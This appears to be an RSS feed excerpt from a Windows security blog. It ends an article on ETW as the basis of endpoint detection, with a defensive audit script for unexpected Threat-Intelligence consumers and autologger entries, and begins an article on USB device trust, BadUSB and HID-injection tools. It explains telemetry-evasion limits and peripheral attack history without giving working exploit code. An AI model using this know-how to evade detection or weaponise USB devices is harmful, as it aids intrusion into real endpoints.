&lt;p&gt;// 1. Enumerate registered providers and find Microsoft-Windows-Threat-Intelligence.
const providers = enumerateRegisteredProviders();
const tiProvider = providers.find(p =&amp;gt; p.guid === &quot;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&quot;);
if (!tiProvider) {
  warn(&quot;EtwTi provider not registered on this host&quot;);
}&lt;/p&gt;
&lt;p&gt;// 2. Enumerate live trace sessions and find any that subscribe to TI.
const sessions = enumerateLoggerSessions();  // logman query -ets equivalent
const tiSessions = sessions.filter(s =&amp;gt;
  s.providers.some(p =&amp;gt; p.guid === tiProvider?.guid));&lt;/p&gt;
&lt;p&gt;// 3. Walk EtwConsumer handles for each TI session; identify the consuming processes.
const expectedConsumers = [&quot;MsMpEng.exe&quot;, &quot;CSFalconService.exe&quot;, &quot;SentinelAgent.exe&quot;];
for (const session of tiSessions) {
  const consumers = enumerateEtwConsumers(session.loggerId);  // Shafir WinDbg JS
  for (const consumer of consumers) {
    if (!expectedConsumers.includes(consumer.processName)) {
      alert(`Unexpected EtwTi consumer: ${consumer.processName} (PID ${consumer.pid})`);
    }
  }
}&lt;/p&gt;
&lt;p&gt;// 4. Audit autologger persistence entries against a known baseline.
const baseline = loadAutologgerBaseline();
const live = enumerateAutologgerSubkeys();  // HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger
for (const entry of live) {
  if (!baseline.includes(entry.name)) {
    alert(`Unexpected autologger entry: ${entry.name}`);
  }
}
`}&lt;/p&gt;
&lt;p&gt;With those five checks, the catalogue is no longer an abstraction. You have an inventory of what your host emits, an inventory of who consumes the most security-critical provider, an audit of the persistence surface that defines what gets emitted at all, a confirmation of the integrity layer that closes BYOVD, and a hunt for anyone who has somehow obtained the passport. Now we close with the questions every reader should expect to have.&lt;/p&gt;
&lt;h2&gt;15. Frequently asked questions&lt;/h2&gt;

Yes, for *publication*. Sysmon&apos;s kernel driver `SysmonDrv.sys` registers `PsSetCreateProcessNotifyRoutineEx` and the related thread- and image-load callbacks; the user-mode service then publishes the resulting events via its own `Microsoft-Windows-Sysmon` ETW provider GUID `{5770385F-C22A-43E0-BF4C-06F5698FFBD9}` [@ms-sysmon]. It does not consume the public catalogue providers via ETW for its kernel-event hot path; the kernel taps come straight from the callback API. This callback-then-publish architecture is why Sysmon&apos;s events are universally consumable by SIEM forwarders and downstream tools.

Because Defender consumes `Microsoft-Windows-Threat-Intelligence`, which fires from the kernel side of memory-modifying syscalls, not from the user-mode `ntdll!EtwEventWrite` trampoline. The fluxsec.red walkthrough states the asymmetry verbatim: &quot;we cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself&quot; [@fluxsec-eti]. The Adam Chester 2020 patch silences user-mode providers (like `Microsoft-Windows-DotNETRuntime`) for the patched process; it cannot silence kernel-emitted providers for any process. Defender&apos;s load-bearing security signal is structurally out of reach of the user-mode patch class.

No. The provider&apos;s security descriptor admits only Antimalware-PPL signers loaded by an ELAM driver. A non-PPL `EnableTraceEx2` call against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the Microsoft Learn primary on EnableTraceEx2 [@ms-enabletraceex2] [@ms-enabletraceex2] documents the error code for insufficient-privilege callers; the PPL-specific gate that triggers it for EtwTi is described in [@fluxsec-eti]). The gate exists because an attacker who could trivially become an EtwTi consumer would have direct visibility into the kernel&apos;s view of every memory-modifying syscall on the host -- exactly the inventory needed to evade everything else.

Schema location. Manifest-based providers ship an out-of-band XML manifest registered with `wevtutil im`; consumers decode events against the system-installed manifest using TDH. TraceLogging providers carry the schema *inline* in each event payload as type-length-value triples; consumers decode without any registered manifest. TraceLogging events are larger because the schema bytes ride in the payload; manifest events have a smaller per-event size at the cost of installation friction. Both inherit the eight-session cap [@ms-about-etw], [@ms-tracelogging-about].

Sixty-four globally per [@ms-etw-sessions], with Windows 2000 limited to 32. Per-provider, manifest-based and TraceLogging providers admit up to 8 simultaneous sessions; classic and WPP providers admit only 1 [@ms-about-etw], [@ms-etw-config]. The runtime symptom of the per-provider 8-session cap binding is `ERROR_NO_SYSTEM_RESOURCES` from `EnableTraceEx2` [@ms-enabletraceex2]; the runtime symptom of the global 64-session cap binding is the same error from `StartTrace`.

No. EventPipe is a managed-runtime cross-platform analogue to ETW that shipped in .NET Core 3.0 (September 2019) and remains available in every later release including .NET 5+. It runs on Linux and macOS as well as Windows. On Windows, the kernel-mode providers and the EtwTi security substrate have no EventPipe equivalent; EventPipe is a complement to ETW for managed workloads, not a replacement. The Windows EDR substrate remains ETW; managed-runtime tracing has acquired an additional cross-platform path that does not displace it.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;etw-event-tracing-for-windows-and-the-edr-substrate&quot; keyTerms={[
  { term: &quot;ETW&quot;, definition: &quot;Event Tracing for Windows: kernel-buffered observability bus introduced in Windows 2000.&quot; },
  { term: &quot;Provider&quot;, definition: &quot;A component that emits ETW events tagged with a GUID.&quot; },
  { term: &quot;Controller&quot;, definition: &quot;A component that creates, configures, and stops trace sessions.&quot; },
  { term: &quot;Consumer&quot;, definition: &quot;A component that reads events from a session in real time or from an .etl file.&quot; },
  { term: &quot;Manifest-based provider&quot;, definition: &quot;Vista-era ETW provider class with XML manifest schema and 8-session cap.&quot; },
  { term: &quot;TraceLogging&quot;, definition: &quot;Self-describing ETW provider class with inline TLV schema, shipped in Windows 10.&quot; },
  { term: &quot;EtwTi&quot;, definition: &quot;Microsoft-Windows-Threat-Intelligence: the kernel-emitted memory-syscall provider; PPL+ELAM-gated.&quot; },
  { term: &quot;Antimalware-PPL&quot;, definition: &quot;Signer level on the PPL lattice for antimalware services; gates EtwTi consumption.&quot; },
  { term: &quot;ELAM&quot;, definition: &quot;Early Launch Antimalware: driver class that gates the certificate inventory for permitted Antimalware-PPL binaries.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver: load a known-vulnerable signed driver to obtain kernel primitive.&quot; },
  { term: &quot;Vulnerable Driver Blocklist&quot;, definition: &quot;Microsoft-maintained hash blocklist; default-on in Windows 11 22H2.&quot; },
  { term: &quot;Autologger&quot;, definition: &quot;Registry-persisted boot-time ETW session under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\.&quot; }
]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;ETW is now twenty-six years old. It started as a performance facility for Windows 2000 driver authors who could not afford &lt;code&gt;DbgPrint&lt;/code&gt; on production servers, and it became the substrate of every major Windows endpoint security product through a decade of unintended consequences. The Vista team that raised the per-provider session cap from 1 to 8 was thinking about ergonomics. The Windows 8.1 team that introduced Antimalware-PPL was thinking about Defender&apos;s hardening, not about future third-party EDRs. The team that shipped EtwTi in the Windows 10 RS-era understood the security stakes precisely. By 2026 those three decisions, taken in three different Microsoft contexts a decade apart, are the architecture of detection on the Windows endpoint -- and the reason the operator in the section 1 hook scene loses the round even when the patch works exactly as it should.&lt;/p&gt;
</content:encoded><category>etw</category><category>windows-internals</category><category>edr</category><category>security</category><category>kernel</category><category>detection-engineering</category><category>threat-intelligence</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Plug and Trust: How Windows Decides What to Do When You Plug In a USB Device</title><link>https://paragmali.com/blog/plug-and-trust-how-windows-decides-what-to-do-when-you-plug-/</link><guid isPermaLink="true">https://paragmali.com/blog/plug-and-trust-how-windows-decides-what-to-do-when-you-plug-/</guid><description>In the 250 ms between physical insertion and class-driver attach, Windows executes ten or eleven kernel-mode operations (eleven for composite devices) and trusts ~256 bytes of self-described descriptors.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
Plugging a USB device into Windows is the single most-trusted action a user routinely performs on an operating system that verifies every byte of code it loads. In a few hundred milliseconds (typically 200-300 ms when the driver is already in the local store; longer on a first-time Windows Update fetch), Windows executes ten or eleven kernel-mode operations (eleven for composite devices) and trusts about 256 bytes of self-described descriptors to decide which driver runs. This article walks that pipeline end-to-end on Windows 11 25H2: the descriptor parser surface, the Plug-and-Play rank algorithm, Kernel-Mode Code Signing and Kernel DMA Protection, BadUSB and Thunderclap, and the five structural limits Windows cannot close without breaking USB compatibility.
&lt;h2&gt;1. The Thirty-Second Trust Decision&lt;/h2&gt;
&lt;p&gt;A user plugs a USB-C thumb drive into a Windows 11 25H2 corporate laptop at 10:42:17 in the morning. Roughly a quarter-second later, the operating system has executed ten or eleven kernel-mode operations (eleven for composite devices) to decide what kind of device it is and which driver to load.The &quot;quarter-second&quot; is editorial framing, not a spec-mandated deadline. The only piece USB-IF actually fixes is the 100 ms attach-debounce window T_ATTDB defined in the USB 2.0 specification §7.1.7.3 (Connect and Disconnect Signaling) [@usb-2-0-spec]; the rest of the budget is implementation-dependent. A typical USB 2.0 thumb drive on a 2024-era xHCI controller, with the function driver already in the local store, lands in the 200-300 ms range. A first-time Windows Update fetch, a slow descriptor read, or a multi-configuration device can stretch it to a second or more. None of those eleven operations consulted the user. None of them verified a cryptographic signature from the peripheral. The entire decision rests on roughly 256 bytes of self-described metadata that the device handed the host on insertion.&lt;/p&gt;
&lt;p&gt;Here is the sequence, in the order Windows executes it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Port-status-change interrupt fires on the xHCI host controller.&lt;/li&gt;
&lt;li&gt;The host controller&apos;s driver issues a port reset.&lt;/li&gt;
&lt;li&gt;Downstream-port speed detection runs: Low, Full, High, Super, or Super+ Speed.&lt;/li&gt;
&lt;li&gt;The hub addresses the device at the default address (zero) and asks for the first eight bytes of the &lt;code&gt;USB_DEVICE_DESCRIPTOR&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SET_ADDRESS&lt;/code&gt; assigns a non-default bus address.&lt;/li&gt;
&lt;li&gt;The hub fetches the full eighteen-byte device descriptor.&lt;/li&gt;
&lt;li&gt;The hub fetches the configuration descriptor, including all interface and endpoint sub-descriptors.&lt;/li&gt;
&lt;li&gt;If the descriptor indicates a composite device, the generic parent splits it into per-interface child devices.&lt;/li&gt;
&lt;li&gt;The Plug-and-Play manager synthesizes hardware IDs and compatible IDs from the descriptor fields.&lt;/li&gt;
&lt;li&gt;The driver-store INF database is searched with a rank-scored matching algorithm; the chosen driver is verified against the Kernel-Mode Code Signing policy.&lt;/li&gt;
&lt;li&gt;The class driver attaches to the new device node and begins serving I/O.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Microsoft&apos;s own architecture documentation confirms the pipeline: the xHCI host controller driver, the host-controller extension, and the hub driver -- &lt;code&gt;usbhub3.sys&lt;/code&gt;, the binary that enumerates devices and creates physical device objects -- are all KMDF-based [@ms-usb-3-0-stack]. The rank-scored INF match comes straight from the Plug-and-Play manager&apos;s documented behavior [@ms-pnp-rank]. The signature check is governed by the same Kernel-Mode Code Signing policy that has gated every kernel driver since 64-bit Windows Vista shipped in 2007 [@ms-kmcs].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Ten or eleven kernel-mode operations (eleven for composite devices). Zero human decisions. Roughly 256 bytes of self-described metadata. That is the size of the trust gap between physical insertion and the moment a class driver begins reading and writing data inside the Windows kernel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The load-bearing primitive in that pipeline is the &lt;em&gt;USB descriptor&lt;/em&gt;: a small block of bytes the peripheral emits when asked, naming what kind of device it claims to be, who claims to have made it, and what features it claims to support. Windows must trust those bytes to choose a driver. There is no out-of-band channel to verify them. There is no signature on the descriptor itself.&lt;/p&gt;
&lt;p&gt;This article is a walk through what Windows does verify, what it cannot verify, and where the gap lives. The trust posture is older than USB itself, and the failure modes are older than Windows 2000. We will start with the inheritance.&lt;/p&gt;
&lt;h2&gt;2. The Pre-USB Removable-Media Trust Model&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;A user in Lahore inserts a 5.25-inch floppy into an IBM PC clone. Whatever 512 bytes sit at sector zero of that diskette will execute as part of the operating-system boot path before any code that came with the machine runs. The trust model Windows still uses for USB peripherals in 2026 was carved into silicon that year.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The IBM PC&apos;s boot ROM, by design, copied sector zero of whatever bootable medium was present into memory and jumped to it. That contract -- &lt;em&gt;inserted media is trusted media&lt;/em&gt; -- shipped in 1981 and was demonstrated as catastrophic within five years. The Brain virus appeared in 1986 [@wiki-brain]; Stoned in 1987 [@wiki-stoned]; Michelangelo was first discovered on 3 February 1991 in Australia and produced its global panic on March 6, 1992 [@wiki-michelangelo]. Each one used the boot-sector primitive that Wikipedia&apos;s standard reference on boot sectors documents [@wiki-bootsector].The Brain virus shipped with a literal copyright notice in the boot sector, naming the Alvi brothers and giving an address in Lahore: a piece of self-documenting malware authored when virus authors did not yet expect to be prosecuted. The address-and-phone-number pattern is a recurring forensic curiosity from the 1986-1990 era.&lt;/p&gt;

A USB descriptor is a small, structured block of bytes that a USB peripheral returns when the host asks for it. There are five standard descriptor types in the USB 1.0 specification (device, configuration, string, interface, endpoint) and several class-specific descriptors (HID report descriptors, audio control units, mass-storage CSW formats) layered on top. The device descriptor names a vendor ID, a product ID, a device class, and the maximum packet size for the default control pipe. The string descriptors carry the human-readable manufacturer, product, and serial-number text that Windows displays in Device Manager and that Defender for Endpoint per-serial allow-lists key on. The host has no out-of-band channel to verify any of these fields; the peripheral&apos;s self-declaration *is* its identity for the purpose of driver selection.
&lt;p&gt;Microsoft inherited the contract from DOS and refined it. AutoRun, which the Wikipedia reference documents verbatim, &lt;em&gt;&quot;was introduced in Windows 95 to ease application installation for non-technical users and reduce the cost of software support calls ... a feature of Windows Explorer (actually of the shell32 dll) ... enables media and devices to launch programs by use of command listed in a file called &lt;code&gt;autorun.inf&lt;/code&gt;, stored in the root directory of the medium&quot;&lt;/em&gt; [@wiki-autorun]. Windows 95 RTMed on August 24, 1995. The original design intent was &lt;em&gt;CD-ROM application installation&lt;/em&gt; -- read-only optical media, written once at the factory, shipped in a sealed jewel case. The trust assumption matched the physical reality.&lt;/p&gt;
&lt;p&gt;Four months after Windows 95 shipped, the USB Implementers Forum was formed. Wikipedia preserves the date and the founder list verbatim: &lt;em&gt;&quot;The USB-IF was initiated on December 5, 1995, by the group of companies that was developing USB ... Compaq, Digital Equipment Corporation, IBM, Intel, Microsoft, NEC and Nortel&quot;&lt;/em&gt; [@wiki-usbif]. Microsoft was a co-author of the contract that would govern peripheral trust on every Windows machine for the next thirty years.&lt;/p&gt;

A Vendor ID is a 16-bit number that the USB Implementers Forum sells to a device manufacturer for a one-time \$6,000 fee [@wiki-usbif]. A Product ID is a 16-bit number the manufacturer assigns to a specific product within their VID space. The pair forms the most-specific hardware ID Windows uses to select a USB driver, in the form `USB\VID_xxxx&amp;amp;PID_xxxx`. The USB-IF Vendor-ID fee is the only economic gate between an arbitrary firmware author and a &quot;trusted&quot; identity in Windows&apos;s driver-store search; it is not a cryptographic gate of any kind.
&lt;p&gt;The first complete USB specification followed quickly. Wikipedia&apos;s USB article puts it verbatim: &lt;em&gt;&quot;Designed January 1996 ... Produced Since May 1996 ... Designer: Compaq, DEC, IBM, Intel, Microsoft, NEC, Nortel&quot;&lt;/em&gt; [@wiki-usb]. USB 1.0 defined the five standard descriptors, the bus enumeration handshake, and -- the load-bearing architectural choice -- the &lt;em&gt;device-class architecture&lt;/em&gt; in which the peripheral declares its own class, subclass, and protocol. A USB keyboard reports &lt;code&gt;bInterfaceClass=0x03&lt;/code&gt; (HID) because it says it is a keyboard. The host has no other source of that fact.&lt;/p&gt;
&lt;p&gt;Three years later, the protocol&apos;s storage cousin arrived. The USB Mass Storage Class Bulk-Only Transport, Revision 1.0, was published in September 1999 [@usb-massbulk-pdf]. That specification is the protocol on which Windows 2000&apos;s &lt;code&gt;usbstor.sys&lt;/code&gt; and every modern thumb-drive driver are built. It defines a stripped-down SCSI command set tunneled over USB bulk endpoints; it does not define any peripheral-authentication mechanism.&lt;/p&gt;
&lt;p&gt;The inheritance is structural. AutoRun shipped in 1995, designed for write-once optical media in a sealed jewel case. Windows 2000 extended AutoRun to every mounted volume -- including the new USB thumb-drive class. A 1995 trust model for trusted physical media now protected read-write USB sticks anyone could carry between machines. Forty years later, that line in the lineage has not been redrawn.&lt;/p&gt;

timeline
    title Pre-USB removable-media trust, 1981 to 2000
    1981 : IBM PC ships : Boot ROM jumps to sector 0 of inserted media
    1986 : Brain virus : Lahore : First in-the-wild boot-sector virus
    1987 : Stoned virus : Boot-sector class established
    1991 : Michelangelo discovered : 3 February 1991, Australia
    1992 : Michelangelo media panic : Trigger date 6 March 1992
    1995 : Windows 95 RTM : AutoRun introduced for CD-ROM installers
    1995 : USB-IF founded December 5 : Seven-company consortium
    1996 : USB 1.0 designed January : Device-class architecture: peripheral declares its own class
    1999 : USB Mass Storage 1.0 : Bulk-Only Transport specification
    2000 : Windows 2000 usbstor.sys : AutoRun extends to USB volumes
&lt;p&gt;Timeline sources, in row order: [@wiki-bootsector] for the IBM PC boot-sector contract; [@wiki-brain], [@wiki-stoned], and [@wiki-michelangelo] for the named-virus lineage and the 1992-not-1991 Michelangelo panic date; [@wiki-autorun] for the Windows 95 / AutoRun introduction; [@wiki-usbif] for the USB-IF founding date and seven-company consortium; [@wiki-usb] for the USB 1.0 January 1996 design date and the device-class architecture; [@usb-massbulk-pdf] for the USB Mass Storage Class Bulk-Only Transport 1.0 specification.&lt;/p&gt;
&lt;p&gt;If the trust model is forty years old, the failure modes must be older than USB. They are. The first fifteen years of USB on Windows were a transport in search of a security model, and the bill came due in two famous worms.&lt;/p&gt;
&lt;h2&gt;3. The Pre-Hardening Era, 1996 to 2010&lt;/h2&gt;
&lt;p&gt;For its first fifteen years on Windows, USB was a transport in search of a security model. Drivers were unsigned on 32-bit. AutoRun was on. Descriptors were trusted. The bill was paid in two worms.&lt;/p&gt;
&lt;p&gt;The Generation-1 stack was a USB 1.1 design retrofitted onto Windows 95 OSR2.1 in 1997 and refined for Windows 2000. The host-controller drivers (&lt;code&gt;Usbuhci.sys&lt;/code&gt;, &lt;code&gt;Usbohci.sys&lt;/code&gt;, and later &lt;code&gt;Usbehci.sys&lt;/code&gt; for USB 2.0 high speed) sat below a single port driver, &lt;code&gt;Usbport.sys&lt;/code&gt;; the hub driver was &lt;code&gt;usbhub.sys&lt;/code&gt;. Microsoft&apos;s USB-3.0 architecture page documents the older 2.0 stack as the predecessor of the modern KMDF chain [@ms-usb-3-0-stack]. On 32-bit Windows, none of these binaries needed a Microsoft-trusted signature to load.&lt;/p&gt;
&lt;p&gt;Windows 2000 added &lt;code&gt;usbstor.sys&lt;/code&gt;, the function driver implementing the USB Mass Storage Class Bulk-Only protocol [@usb-massbulk-pdf]. Suddenly a thumb drive was a first-class read-write filesystem the user could carry between machines, and AutoRun -- a 1995 contract for CD-ROM application installers -- applied to it.The original &lt;code&gt;autorun.inf&lt;/code&gt; was a sensible primitive. Insert a sealed jewel case, run the vendor&apos;s setup wizard, get a new application. Extending the contract to user-writable USB sticks broke the cardinal assumption: that the media&apos;s content was set by a trustworthy party at the factory and could not be modified in the field.&lt;/p&gt;

KMCS is the Windows policy that requires every kernel-mode binary -- every `.sys` file Windows loads into ring zero -- to carry a digital signature chaining to a Microsoft-trusted root certificate. KMCS has been mandatory on 64-bit Windows since Vista shipped in 2007. Microsoft Learn documents the signing-by-version matrix, the SHA-256 algorithm requirement, and the post-2016 narrowing of the cross-signed-CA exception. KMCS prevents an attacker from loading an arbitrary `.sys` file into the kernel. It does not, by itself, prevent an attacker from feeding malicious *data* to an already-signed `.sys` file.
&lt;p&gt;The Conficker worm, first detected in November 2008, industrialized the AutoRun-on-USB era. Wikipedia summarizes its origin verbatim: &lt;em&gt;&quot;first detected in November 2008 ... uses flaws in Windows OS software (MS08-067 / CVE-2008-4250) and dictionary attacks on administrator passwords to propagate ... The first variant of Conficker, discovered in early November 2008, propagated through the Internet by exploiting a vulnerability in a network service (MS08-067)&quot;&lt;/em&gt; [@wiki-conficker]. Conficker rode two completely separate vectors: a Server Service vulnerability (a path-canonicalization overflow in &lt;code&gt;srvsvc.dll&lt;/code&gt; reachable over SMB on TCP 445 and via NetBIOS over TCP/IP on TCP 139) over the network [@nvd-cve-2008-4250], and &lt;code&gt;autorun.inf&lt;/code&gt;-driven AutoPlay execution on inserted USB drives. The two propagation paths are independent and worth distinguishing.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; MS08-067 / CVE-2008-4250 is the Server Service RPC-over-SMB vulnerability (reachable on TCP 445 and via NetBIOS over TCP/IP on TCP 139) that gave Conficker its network propagation. NIST&apos;s NVD entry characterises the surface verbatim as &lt;em&gt;&quot;a crafted RPC request that triggers the overflow during path canonicalization, as exploited in the wild by Gimmiv.A in October 2008, aka &apos;Server Service Vulnerability&apos;&quot;&lt;/em&gt; [@nvd-cve-2008-4250]. The USB-side propagation came from &lt;code&gt;autorun.inf&lt;/code&gt; on inserted thumb drives, not from MS08-067. The two vectors share a worm but not a vulnerability. Press accounts that conflate them tend to overstate what closing MS08-067 actually did to USB-borne malware in 2008.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Stuxnet followed in 2010. Wikipedia&apos;s article puts the timing and the vector verbatim: &lt;em&gt;&quot;Stuxnet is a malicious computer worm first uncovered on 17 June 2010 ... It is typically introduced to the target environment via an infected USB flash drive, thus crossing any air gap&quot;&lt;/em&gt; [@wiki-stuxnet]. The technical primitive that let Stuxnet cross air gaps onto Iranian centrifuge-control PCs was CVE-2010-2568, a flaw in the Windows Shell&apos;s processing of &lt;code&gt;.LNK&lt;/code&gt; shortcut icons. NIST&apos;s National Vulnerability Database entry preserves the verbatim characterization: &lt;em&gt;&quot;Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote attackers to execute arbitrary code via a crafted (1) .LNK or (2) .PIF shortcut file, which is not properly handled during icon display in Windows Explorer, as demonstrated in the wild in July 2010, and originally reported for malware that leverages CVE-2010-2772 in Siemens WinCC SCADA systems&quot;&lt;/em&gt; [@nvd-cve-2010-2568]. Microsoft Security Bulletin MS10-046 shipped the patch [@ms10-046].&lt;/p&gt;

Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote attackers to execute arbitrary code via a crafted (1) .LNK or (2) .PIF shortcut file, which is not properly handled during icon display in Windows Explorer, as demonstrated in the wild in July 2010. -- NIST, National Vulnerability Database, CVE-2010-2568 [@nvd-cve-2010-2568]
&lt;p&gt;Patch Tuesday, February 2011 closed the AutoRun pipeline outside Windows 7. Brian Krebs covered the rollout verbatim at the time: &lt;em&gt;&quot;Microsoft also issued an update that changes the default behavior in Windows when users insert a removable storage device, such as a USB or thumb drive. This update effectively disables &apos;autorun,&apos; a feature of Windows that has been a major vector for malware over the years. Microsoft released this same update in February 2009, but it offered it as an optional patch. The only thing different about the update this time is that it is being offered automatically to users who patch through Windows Update or Automatic Update&quot;&lt;/em&gt; [@krebs-feb2011]. The update originally shipped as an optional Windows-7-era fix; Microsoft made it automatic for XP, Vista, Server 2003, and Server 2008 in February 2011.&lt;/p&gt;
&lt;p&gt;Six months later, the descriptor-parser surface itself was named for the first time. Andy Davis of NCC Group gave &lt;em&gt;&quot;USB -- Undermining Security Barriers&quot;&lt;/em&gt; at Black Hat USA 2011. The verified NCC Group publication archive carries the talk and a one-line abstract [@ncc-davis-2011]. Davis fuzzed USB descriptors against the Windows kernel parser and demonstrated that the parser itself -- not the application layer, not AutoRun -- was kernel-mode adversarial-input attack surface. The talk did not name a single bug class; it named the &lt;em&gt;class of bugs&lt;/em&gt;: anything that parses adversarial bytes in ring zero in a memory-unsafe language.&lt;/p&gt;
&lt;p&gt;Why did none of these fixes survive structurally? Each was a single-bug closure. Disabling AutoRun did nothing about HID injection. Patching the LNK parser did nothing about the descriptor-parser surface. Signing kernel binaries did not change what those binaries trusted at runtime. Each fix shrank one bug class by one. The premise -- that a USB peripheral&apos;s self-declaration &lt;em&gt;is&lt;/em&gt; its identity -- was untouched.&lt;/p&gt;
&lt;p&gt;The post-2010 hardening of USB on Windows would change the surfaces around the descriptor parser. None of it would change the descriptor parser&apos;s contract.&lt;/p&gt;
&lt;h2&gt;4. Generation by Generation: Ten Acts of Hardening&lt;/h2&gt;
&lt;p&gt;The post-2010 hardening of USB on Windows is a ten-act story: signing, lockdown, watershed, silicon, policy. Each act addressed one premise, and exactly one premise, of the trust failure that came before it. None of them changed the foundational contract.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 2 -- Vista x64 Kernel-Mode Code Signing (2007).&lt;/strong&gt; Every USB function and class driver had to chain to a Microsoft-trusted root and use SHA-2 once 64-bit Vista landed. Microsoft Learn carries the signing-by-version matrix and the cross-signed-CA carve-out verbatim, including the post-2015 narrowing in which &lt;em&gt;&quot;Cross-signed drivers are still permitted if ... The PC was upgraded from an earlier release of Windows to Windows 10, version 1607 ... Drivers was signed with an end-entity certificate issued prior to July 29th 2015 that chains to a supported cross-signed CA&quot;&lt;/em&gt; [@ms-kmcs]. Companion documentation describes the broader driver-signing pipeline [@ms-drvsigning]. For the full reinvention of code-identity verification on Windows, the sibling article on Windows app identity is the canonical reference [@paragmali-appid].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 3 -- AutoRun and LNK lockdown (2009-2011).&lt;/strong&gt; Already covered in Section 3. KB971029 and MS10-046, taken together, closed the &lt;code&gt;autorun.inf&lt;/code&gt;-driven AutoPlay vector and the LNK-icon parsing flaw used by Stuxnet [@krebs-feb2011] [@nvd-cve-2010-2568].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 4 -- The descriptor-parser surface and the USB 3.0 stack (2011-2012).&lt;/strong&gt; Andy Davis named the surface at Black Hat 2011 [@ncc-davis-2011]. Windows 8 in 2012 shipped a new USB 3.0 stack written from scratch on Microsoft&apos;s Kernel-Mode Driver Framework. The architectural reference confirms the rebuild verbatim: &lt;em&gt;&quot;Microsoft created the USB 3.0 drivers by using Kernel Mode Driver Framework (KMDF) interfaces ... Usbhub3.sys ... Manages USB hubs and their ports ... Enumerates devices and other hubs ... Creates physical device objects (PDOs)&quot;&lt;/em&gt; [@ms-usb-3-0-stack]. The new stack changed the codebase the descriptor parser ran in. It did not change the contract the descriptor parser had to honor.&lt;/p&gt;

The Human Interface Device class is a USB device-class specification originally designed for keyboards, mice, joysticks, and similar input devices. A USB device declares itself HID by setting `bInterfaceClass=0x03` in its interface descriptor. Once Windows accepts that declaration, the device is allowed to inject keyboard and pointer events into the active session as if a human were operating a physical keyboard. The HID class has no provision for authenticating that the device is, in fact, a keyboard rather than a reprogrammed thumb drive emulating one; the class definition is itself the attack surface.
&lt;p&gt;&lt;strong&gt;Generation 5 -- BadUSB watershed (Black Hat USA 2014).&lt;/strong&gt; Karsten Nohl, Sascha Krißler, and Jakob Lell of SR Labs presented &lt;em&gt;BadUSB -- On Accessories That Turn Evil&lt;/em&gt; [@nohl-wiki]. The SR Labs slide deck&apos;s title page is preserved verbatim, with all three authors named, on a mirrored PDF [@srlabs-badusb-pdf]; Wikipedia&apos;s BadUSB article also preserves the three-author attribution and the underlying primitive: &lt;em&gt;&quot;USB flash drives can contain a programmable Intel 8051 microcontroller&quot;&lt;/em&gt; [@wiki-badusb].Wired&apos;s contemporaneous press coverage credited only Nohl and Lell; Krißler&apos;s name was dropped in the popular write-up. The SR Labs slide deck and the Wikipedia article both preserve the full three-author attribution. Press attributions of conference talks routinely shed authors; the slide-deck title page is the durable source. Two months after Black Hat, Adam Caudill and Brandon Wilson released the Psychson toolchain at DerbyCon 2014, demonstrating end-to-end reflash of the Phison PS2251-03 controller. The repository README confirms the lineage verbatim: &lt;em&gt;&quot;this is 8051 custom firmware written in C ... firmware patches have only been tested against PS2251-03 firmware version 1.03.53 ... DriveCom ... EmbedPayload ... Injector ... Huge thanks to the Hak5 team for their work on the excellent USB Rubber Ducky&quot;&lt;/em&gt; [@psychson-repo]. Wired&apos;s October 2014 follow-up carries Caudill&apos;s verbatim release rationale from the DerbyCon stage: &lt;em&gt;&quot;The belief we have is that all of this should be public. It shouldn&apos;t be held back. So we&apos;re releasing everything we&apos;ve got&quot;&lt;/em&gt; [@wired-2014-10]. The same article quotes Nohl&apos;s verbatim architectural verdict on the underlying protocol: &lt;em&gt;&quot;to prevent USB devices&apos; firmware from being rewritten, their security architecture would need to be fundamentally redesigned ... it could take 10 years or more to iron out the USB standard&apos;s bugs and pull existing vulnerable devices out of circulation&quot;&lt;/em&gt; [@wired-2014-10].&lt;/p&gt;

It could take 10 years or more to iron out the USB standard&apos;s bugs and pull existing vulnerable devices out of circulation. -- Karsten Nohl, SR Labs, quoted in Wired, October 2014 [@wired-2014-10]
&lt;p&gt;&lt;strong&gt;Generation 6 -- HID-as-weapon era (2010-present).&lt;/strong&gt; The Hak5 USB Rubber Ducky -- introduced in 2010 by Hak5 founder Darren Kitchen, who pioneered the keystroke-injection technique [@hak5-ducky-docs] -- commercialized the HID-injection primitive four years before BadUSB was disclosed. The Mark II hardware is still sold today [@hak5-shop-ducky], and DuckyScript v1 (2011) and v3 (2022) are documented end-to-end on the Hak5 documentation portal [@hak5-ducky-docs].The commercial HID-injection device predates the academic disclosure by four years. By the time BadUSB hit Black Hat in August 2014, Hak5 had already been selling a packaged keystroke-injection thumb drive at consumer prices for four years. &quot;BadUSB&quot; academicized what penetration testers were already shipping in mailers. The O.MG Cable, released by Mischief Gadgets, embedded the implant inside a USB-A-to-Lightning charging cable form factor and put a WiFi beacon inside it. The product page states the design intent verbatim: &lt;em&gt;&quot;O.MG Cables are hand made USB cables with an advance WiFi implant inside. Designed to allow Red Teams to emulate 